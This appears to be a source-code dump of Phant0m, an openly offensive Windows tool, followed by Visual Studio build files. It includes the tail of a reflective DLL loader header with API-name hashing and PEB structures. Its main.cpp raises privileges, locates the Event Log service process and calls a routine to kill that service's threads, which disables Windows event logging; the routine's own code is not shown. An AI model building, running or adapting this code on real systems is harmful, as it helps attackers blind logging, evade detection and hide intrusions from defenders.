44 | #define NTDLLDLL_HASH 0x3CFA685D
45 |
46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
48 | #define VIRTUALALLOC_HASH 0x91AFCA54
49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
50 |
51 | #define IMAGE_REL_BASED_ARM_MOV32A 5
52 | #define IMAGE_REL_BASED_ARM_MOV32T 7
53 |
54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
56 | #define ARM_MOVW 0xF2400000
57 | #define ARM_MOVT 0xF2C00000
58 |
59 | #define HASH_KEY 13
60 | //===============================================================================================//
61 | #pragma intrinsic( _rotr )
62 |
63 | __forceinline DWORD ror(DWORD d)
64 | {
65 | return _rotr(d, HASH_KEY);
66 | }
67 |
68 | __forceinline DWORD hash(char* c)
69 | {
70 | register DWORD h = 0;
71 | do
72 | {
73 | h = ror(h);
74 | h += *c;
75 | } while (*++c);
76 |
77 | return h;
78 | }
79 | //===============================================================================================//
80 | typedef struct _UNICODE_STR
81 | {
82 | USHORT Length;
83 | USHORT MaximumLength;
84 | PWSTR pBuffer;
85 | } UNICODE_STR, * PUNICODE_STR;
86 |
87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
88 | //__declspec( align(8) )
89 | typedef struct _LDR_DATA_TABLE_ENTRY
90 | {
91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
92 | LIST_ENTRY InMemoryOrderModuleList;
93 | LIST_ENTRY InInitializationOrderModuleList;
94 | PVOID DllBase;
95 | PVOID EntryPoint;
96 | ULONG SizeOfImage;
97 | UNICODE_STR FullDllName;
98 | UNICODE_STR BaseDllName;
99 | ULONG Flags;
100 | SHORT LoadCount;
101 | SHORT TlsIndex;
102 | LIST_ENTRY HashTableEntry;
103 | ULONG TimeDateStamp;
104 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
105 |
106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
108 | {
109 | DWORD dwLength;
110 | DWORD dwInitialized;
111 | LPVOID lpSsHandle;
112 | LIST_ENTRY InLoadOrderModuleList;
113 | LIST_ENTRY InMemoryOrderModuleList;
114 | LIST_ENTRY InInitializationOrderModuleList;
115 | LPVOID lpEntryInProgress;
116 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
117 |
118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
120 | {
121 | struct _PEB_FREE_BLOCK* pNext;
122 | DWORD dwSize;
123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
124 |
125 | // struct _PEB is defined in Winternl.h but it is incomplete
126 | // WinDbg> dt -v ntdll!_PEB
127 | typedef struct __PEB // 65 elements, 0x210 bytes
128 | {
129 | BYTE bInheritedAddressSpace;
130 | BYTE bReadImageFileExecOptions;
131 | BYTE bBeingDebugged;
132 | BYTE bSpareBool;
133 | LPVOID lpMutant;
134 | LPVOID lpImageBaseAddress;
135 | PPEB_LDR_DATA pLdr;
136 | LPVOID lpProcessParameters;
137 | LPVOID lpSubSystemData;
138 | LPVOID lpProcessHeap;
139 | PRTL_CRITICAL_SECTION pFastPebLock;
140 | LPVOID lpFastPebLockRoutine;
141 | LPVOID lpFastPebUnlockRoutine;
142 | DWORD dwEnvironmentUpdateCount;
143 | LPVOID lpKernelCallbackTable;
144 | DWORD dwSystemReserved;
145 | DWORD dwAtlThunkSListPtr32;
146 | PPEB_FREE_BLOCK pFreeList;
147 | DWORD dwTlsExpansionCounter;
148 | LPVOID lpTlsBitmap;
149 | DWORD dwTlsBitmapBits[2];
150 | LPVOID lpReadOnlySharedMemoryBase;
151 | LPVOID lpReadOnlySharedMemoryHeap;
152 | LPVOID lpReadOnlyStaticServerData;
153 | LPVOID lpAnsiCodePageData;
154 | LPVOID lpOemCodePageData;
155 | LPVOID lpUnicodeCaseTableData;
156 | DWORD dwNumberOfProcessors;
157 | DWORD dwNtGlobalFlag;
158 | LARGE_INTEGER liCriticalSectionTimeout;
159 | DWORD dwHeapSegmentReserve;
160 | DWORD dwHeapSegmentCommit;
161 | DWORD dwHeapDeCommitTotalFreeThreshold;
162 | DWORD dwHeapDeCommitFreeBlockThreshold;
163 | DWORD dwNumberOfHeaps;
164 | DWORD dwMaximumNumberOfHeaps;
165 | LPVOID lpProcessHeaps;
166 | LPVOID lpGdiSharedHandleTable;
167 | LPVOID lpProcessStarterHelper;
168 | DWORD dwGdiDCAttributeList;
169 | LPVOID lpLoaderLock;
170 | DWORD dwOSMajorVersion;
171 | DWORD dwOSMinorVersion;
172 | WORD wOSBuildNumber;
173 | WORD wOSCSDVersion;
174 | DWORD dwOSPlatformId;
175 | DWORD dwImageSubsystem;
176 | DWORD dwImageSubsystemMajorVersion;
177 | DWORD dwImageSubsystemMinorVersion;
178 | DWORD dwImageProcessAffinityMask;
179 | DWORD dwGdiHandleBuffer[34];
180 | LPVOID lpPostProcessInitRoutine;
181 | LPVOID lpTlsExpansionBitmap;
182 | DWORD dwTlsExpansionBitmapBits[32];
183 | DWORD dwSessionId;
184 | ULARGE_INTEGER liAppCompatFlags;
185 | ULARGE_INTEGER liAppCompatFlagsUser;
186 | LPVOID lppShimData;
187 | LPVOID lpAppCompatInfo;
188 | UNICODE_STR usCSDVersion;
189 | LPVOID lpActivationContextData;
190 | LPVOID lpProcessAssemblyStorageMap;
191 | LPVOID lpSystemDefaultActivationContextData;
192 | LPVOID lpSystemAssemblyStorageMap;
193 | DWORD dwMinimumStackCommit;
194 | } _PEB, * _PPEB;
195 |
196 | typedef struct
197 | {
198 | WORD offset : 12;
199 | WORD type : 4;
200 | } IMAGE_RELOC, * PIMAGE_RELOC;
201 | //===============================================================================================//
202 | #endif
203 | //===============================================================================================//
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/main.cpp:
--------------------------------------------------------------------------------
1 | #include "ReflectiveLoader.h"
2 |
3 | extern "C" HINSTANCE hAppInstance;
4 | typedef long NTSTATUS;
5 |
6 | #include
7 | #include
8 |
9 | #include "../include/process_info.h"
10 |
11 | // PID detection techniques configuration section.
12 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager.
13 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI.
14 |
15 |
16 | // TID detection and kill techniques configuration section.
17 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m
18 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m
19 |
20 |
21 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1
22 | #include "../include/pid_SCM.h"
23 | #endif
24 |
25 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1
26 | #include "../include/pid_WMI.h"
27 | #endif
28 |
29 |
30 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1
31 | #include "../include/technique_1.h"
32 | #endif
33 |
34 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1
35 | #include "../include/technique_2.h"
36 | #endif
37 |
38 | void Phant0m() {
39 |
40 | puts(
41 | "\t ___ _ _ _ _ _ _____ __ __ __ \n"
42 | "\t| _ \\ || | /_\\ | \\| |_ _/ \\| \\/ |\n"
43 | "\t| _/ __ |/ _ \\| .` | | || () | |\\/| |\n"
44 | "\t|_| |_||_/_/ \\_\\_|\\_| |_| \\__/|_| |_|\n\n"
45 | "\tVersion: 2.0\n"
46 | "\tAuthor: Halil Dalabasmaz\n"
47 | "\tWWW: artofpwn.com\n"
48 | "\tTwitter: @hlldz\n"
49 | "\tGithub: @hlldz\n"
50 | );
51 |
52 | if (enoughIntegrityLevel() == TRUE) {
53 |
54 | printf("[+] Process Integrity Level is high, continuing...\n\n");
55 |
56 | if (isPrivilegeOK() == TRUE) {
57 |
58 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1
59 | DWORD dwEventLogPID = GetPIDFromSCManager();
60 | #endif
61 |
62 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1
63 | DWORD dwEventLogPID = GetPIDFromWMI();
64 | #endif
65 |
66 | if (dwEventLogPID != 0) {
67 |
68 | printf("[+] Event Log service PID detected as %d.\n\n", dwEventLogPID);
69 |
70 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1
71 | Technique_1(dwEventLogPID);
72 | #endif
73 |
74 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1
75 | Technique_2(dwEventLogPID);
76 | #endif
77 |
78 | }
79 | else {
80 |
81 | printf("[!] Exiting...\n");
82 |
83 | }
84 | }
85 | else {
86 |
87 | printf("[!] SeDebugPrivilege cannot enabled. Exiting...\n");
88 |
89 | }
90 |
91 | }
92 | else {
93 |
94 | printf("[!] Process Integrity Level is not high. Exiting...\n");
95 |
96 | }
97 |
98 | printf("\n[*] All done.\n");
99 |
100 | }
101 |
102 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
103 | BOOL bReturnValue = TRUE;
104 | switch (dwReason) {
105 | case DLL_QUERY_HMODULE:
106 | if (lpReserved != NULL)
107 | *(HMODULE*)lpReserved = hAppInstance;
108 | break;
109 | case DLL_PROCESS_ATTACH:
110 | hAppInstance = hinstDLL;
111 |
112 | Phant0m();
113 |
114 | /* flush STDOUT */
115 | fflush(stdout);
116 |
117 | /* we're done, so let's exit */
118 | ExitProcess(0);
119 | break;
120 | case DLL_PROCESS_DETACH:
121 | case DLL_THREAD_ATTACH:
122 | case DLL_THREAD_DETACH:
123 | break;
124 | }
125 | return bReturnValue;
126 | }
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/phant0m-rdll.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {84d2a2d4-47a9-4b5a-8a02-d18b93289d09}
25 | phant0mrdll
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 | MultiThreaded
106 | Default
107 | Neither
108 |
109 |
110 | Windows
111 | true
112 | true
113 | true
114 |
115 |
116 |
117 |
118 | Level3
119 | true
120 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
121 | true
122 |
123 |
124 | Console
125 | true
126 |
127 |
128 |
129 |
130 | Level3
131 | true
132 | true
133 | true
134 | NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions)
135 | true
136 | MultiThreaded
137 | Default
138 | Neither
139 |
140 |
141 | Windows
142 | true
143 | true
144 | true
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/phant0m-rdll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 |
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/phant0m-rdll.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/phant0m/phant0m.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31402.337
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "phant0m-exe", "phant0m-exe\phant0m-exe.vcxproj", "{EC79F5DD-3943-4413-A298-8F4F2B8C2371}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "phant0m-rdll", "phant0m-rdll\phant0m-rdll.vcxproj", "{84D2A2D4-47A9-4B5A-8A02-D18B93289D09}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x64.ActiveCfg = Debug|x64
19 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x64.Build.0 = Debug|x64
20 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x86.ActiveCfg = Debug|Win32
21 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x86.Build.0 = Debug|Win32
22 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x64.ActiveCfg = Release|x64
23 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x64.Build.0 = Release|x64
24 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x86.ActiveCfg = Release|Win32
25 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x86.Build.0 = Release|Win32
26 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x64.ActiveCfg = Debug|x64
27 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x64.Build.0 = Debug|x64
28 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x86.ActiveCfg = Debug|Win32
29 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x86.Build.0 = Debug|Win32
30 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x64.ActiveCfg = Release|x64
31 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x64.Build.0 = Release|x64
32 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x86.ActiveCfg = Release|Win32
33 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {387EC395-C001-4D1D-982C-9FFCDE439D50}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/phant0m/phant0m.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 | 16.0
24 | Win32Proj
25 | {27b3efb7-fa35-4b1f-8799-57b784fd7ff6}
26 | phant0m
27 | 10.0
28 |
29 |
30 |
31 | Application
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v142
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v142
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | true
84 |
85 |
86 | false
87 |
88 |
89 |
90 |
91 | Level3
92 | true
93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
94 | true
95 |
96 |
97 | Console
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | true
106 | true
107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 | true
114 | true
115 |
116 |
117 |
118 |
119 | Level3
120 | true
121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
122 | true
123 |
124 |
125 | Console
126 | true
127 |
128 |
129 |
130 |
131 | Level3
132 | true
133 | true
134 | true
135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
136 | true
137 |
138 |
139 | Console
140 | true
141 | true
142 | true
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
--------------------------------------------------------------------------------
/phant0m/phant0m.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
--------------------------------------------------------------------------------
/phant0m/phant0m.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------